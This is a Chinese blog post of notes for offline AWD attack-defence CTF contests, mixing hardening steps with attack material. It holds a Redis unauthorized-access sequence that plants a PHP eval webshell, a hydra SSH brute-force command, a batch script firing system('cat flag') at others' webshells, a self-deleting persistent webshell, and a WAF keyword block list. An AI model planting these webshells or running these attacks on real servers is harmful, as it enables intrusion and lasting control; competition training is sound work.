线下AWD攻防总结

记录一下AWD的操作步骤,迄今为止只打过一场线下AWD,环境为内网且为低权限用户无法提权,所以下面的操作记录大部分没用到…不过记录一下,方便以后其他比赛参考。

AWD最主要的就是手速!!! 同时队伍分配一定要合理,密码一定第一时间改掉,修改完配置文件一定记得重启使之生效。

连接SSH

1
2
ssh-copy-id -i ~/.ssh/id_rsa.pub root@xx.xx.xx.xx
ssh root@xx.xx.xx.xx

改密码

ssh

1
passwd root

网站

1
登录网站后台(普遍是弱口令,如果不是去数据库翻一下)然后改密码

mysql

1
SET PASSWORD FOR root@localhost = PASSWORD('123456');

查看进程

1
2
3
netstat -tpnl 
ps -df
top

杀死进程

1
2
kill -9 PID
killall 名称

如果杀不掉,就查看父进程,杀掉父进程,如果还不行继续往上查 删掉木马文件,重新杀进程

1
ps -ef | grep 3045

如果进程不允许关闭 可以用 nc 监听一个端口,达到欺骗目的

1
nc -lv 6666

扫描端口

1
2
nmap -sn xx.xx.xx.0/24
nmap -sV -Pn -n -v --open xx.xx.xx.0/24

流量监控

1
tcpdump tcp -i eth0 -t -s 0 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

备份网站

1
tar -zcvf web.tar.gz /var/www/html

备份数据库

1
mysqldump -uroot -p --databases [dbname] > /tmp/db.sql

find命令

查找行数最短的文件

1
find ./ -name '*.php' | xargs wc -l | sort -u

查找最近20分钟修改过的文件

1
find /var/www/html -name *.php -mmin -20

查找危险函数

1
find . -name '*.php' | xargs grep -n 'eval('

开启日志

日志功能在 /etc/httpd/conf 目录有个 httpd.conf 直接 vi/vim 编辑器打开用 / 搜索 access.log

这俩前面如果有 # 删掉 # 然后保存退出

1
2
CustomLog "logs/access.log" combined
CustomLog "logs/access.log" common

access.log 显示 POST 请求传参

1
# LoadModule dumpio_module modules/mod_dumpio.so

然后重启 Apache,使修改的配置文件生效

1
systemctl restart httpd

然后直接 实时 查看 access.log 文件的 新增 内容

1
tail -f access.log

使用-f参数时不会中断文件监视,需要通过ctrl+c手动结束。

php.ini

一般来说文件都在 /etc/php.ini

在不影响正常功能的情况下 禁用 危险函数

1
disable_functions = exec,system,shell_exec,popen,passthru,cntl_exec,phpinfo

预防SQL注入

1
magic_quotes_gpc = on

修复远程文件包含

1
2
allow_url_fopen = off  (是否允许打开远程文件)  
allow_url_include = off(是否允许include/require远程文件)

切记修改完配置文件重启

1
service php-fpm restart

PHP读取函数

1
2
3
4
5
6
7
8
9
10
11
12
file_get_contents()
highlight_file()
fopen()
readfile()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
-----------------------------------
var_dump(scandir('/'));

文件包含修复

直接把它目录限制死在 /var/www/html

1
int_set("open_basedir","/var/www/html");

Redis未授权

1
2
3
4
5
6
7
config set dir path

set feiye "\n\n\n<?php eval($_POST['cmd']);?>\n\n\n"

config set dbfilename service.php

save

批量SSH链接

1
hydra -l root -p dcn -f ip.txt ssh

批量攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re
url=[]
flag=[]
for i in range(101,151):
url.append("http://10.0.0./" + str(i))
for x in url:
postdata = {'cmd':"system('cat+/var/www/html/flag')"}
sussess = requests.post(x+"shell.php",data=postdata)
if 'flag' in sussess.content:
flag.append(re.search("flag{.*}",sussess.content))
print(flag)
else:
print(x+": failed")
for f in flag:
inflag=requests.get("domain.com/flag.php?token=token&flag="+f)

不死马

1
2
3
4
5
6
7
8
9
<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(true){
file_put_contents('.shell.php', '<?php @eval($_POST[cmd])');
usleep(100);
}
?>

删除不死马

1
2
3
4
5
6
#!/bin/bash
dire="/var/www/html/.shell.php/"
file="/var/www/html/.shell.php"
rm -rf $file
mkdir $dire
./xx.sh

WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$request['url'] = $_SERVER['REQUEST_URI'];
$request['time'] = date('Y-m-d H:i:s');

if($_POST){
foreach($_POST as $k => $v){
$request[$k]=urldecode($v);
}
}

$file = fopen('waf.log','a');
fwrite($file,json_encode($request) . "\n");
fclose($file);

foreach($_POST as $key => $value){
waf($value);
}
foreach($_GET as $key => $value){
waf($value);
}

function waf($str){
$filed='flag|cat|less|nl|more|tac|tail|base64|system';
if(preg_match("/$filed/im",$str)){
exit('flag{asdfaqawfawfawf}');
}
}
本文作者:iami233
本文链接:https://5ime.cn/awd.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
posted @ 2022-07-24 11:43  limo亮少  阅读(229)  评论(0编辑  收藏  举报
​ ​
​ ​
​ ​ ​
​ ​